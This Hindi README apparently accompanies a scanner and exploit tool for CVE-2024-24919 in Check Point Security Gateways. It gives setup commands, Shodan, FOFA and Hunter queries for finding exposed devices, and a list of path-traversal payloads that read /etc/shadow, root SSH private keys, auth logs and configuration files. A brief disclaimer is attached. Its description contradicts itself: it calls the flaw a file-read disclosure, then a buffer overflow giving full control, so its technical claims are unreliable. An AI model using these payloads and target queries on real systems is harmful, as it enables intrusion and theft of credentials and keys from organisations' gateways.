
CVE-2024-24919 एक्सप्लॉइट
इस रिपॉज़िटरी में Check Point Security Gateways में CVE-2024-24919 भेद्यता का शोषण करने के लिए एक टूल शामिल है। यह टूल एक मल्टी-स्कैनर है जो कमजोर डिवाइसों की पहचान कर सकता है और एक सिंगल-टारगेट एक्सप्लॉइट है जो प्रभावित डिवाइस का पूर्ण नियंत्रण ले सकता है।
CVE-2024-24919 एक उच्च-गंभीरता वाली सूचना प्रकटीकरण भेद्यता है जो हमलावर को Check Point Security Gateway पर दूरस्थ रूप से मनमानी फ़ाइलें पढ़ने की अनुमति देती है। इस भेद्यता का शोषण पासवर्ड और कॉन्फ़िगरेशन फ़ाइलों जैसी संवेदनशील जानकारी चुराने के लिए किया जा सकता है।
अस्वीकरण:
यह टूल केवल शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। इसका उपयोग मालिक की स्पष्ट सहमति के बिना कमजोर सिस्टम पर हमला करने के लिए नहीं किया जाना चाहिए। इस टूल के लेखक इसके उपयोग से होने वाली किसी भी क्षति के लिए ज़िम्मेदार नहीं हैं।
यह एक्सप्लॉइट कमजोर डिवाइस पर एक विशेष रूप से तैयार किया गया HTTP अनुरोध भेजकर काम करता है। यह अनुरोध डिवाइस के फ़र्मवेयर में बफर ओवरफ्लो को ट्रिगर करता है, जो हमलावर को मनमाना कोड निष्पादित करने की अनुमति देता है। फिर एक्सप्लॉइट का उपयोग डिवाइस का पूर्ण नियंत्रण लेने के लिए किया जा सकता है।
git clone https://github.com/your-username/cve-2024-24919.git
cd cve-2024-24919
pip install -r requirements.txt
आप एकल लक्ष्य या कई लक्ष्यों को स्कैन कर सकते हैं!
python cve-2024-24919.py
# Hunter
Hunter: /product.name="Check Point SSL Network Extender"
# Shodan
SHODAN: http.title="Check Point SSL Network Extender"
# Fofa Query
FOFA: title="Check Point SSL Network Extender"

$ टूल पथ: ```
'aCSHELL/../../../../../../../../../../../etc/passwd',
'aCSHELL/../../../../../../../../../../../etc/apache2/apache2.conf',
'aCSHELL/../../../../../../../../../../../etc/mysql/my.cnf',
'aCSHELL/../../../../../../../../../../../var/log/syslog',
'aCSHELL/../../../../../../../../../../../var/log/auth.log',
#'aCSHELL/../../../../../../../../../../../var/log/messages',
'aCSHELL/../../../../../../../../../../../etc/group',
'aCSHELL/../../../../../../../../../../../etc/shadow',
'aCSHELL/../../../../../../../../../../../root/.ssh/id_rsa',
'aCSHELL/../../../../../../../../../../../etc/hostname',
'aCSHELL/../../../../../../../../../../../etc/hosts',
'aCSHELL/../../../../../../../../../../../etc/resolv.conf' ```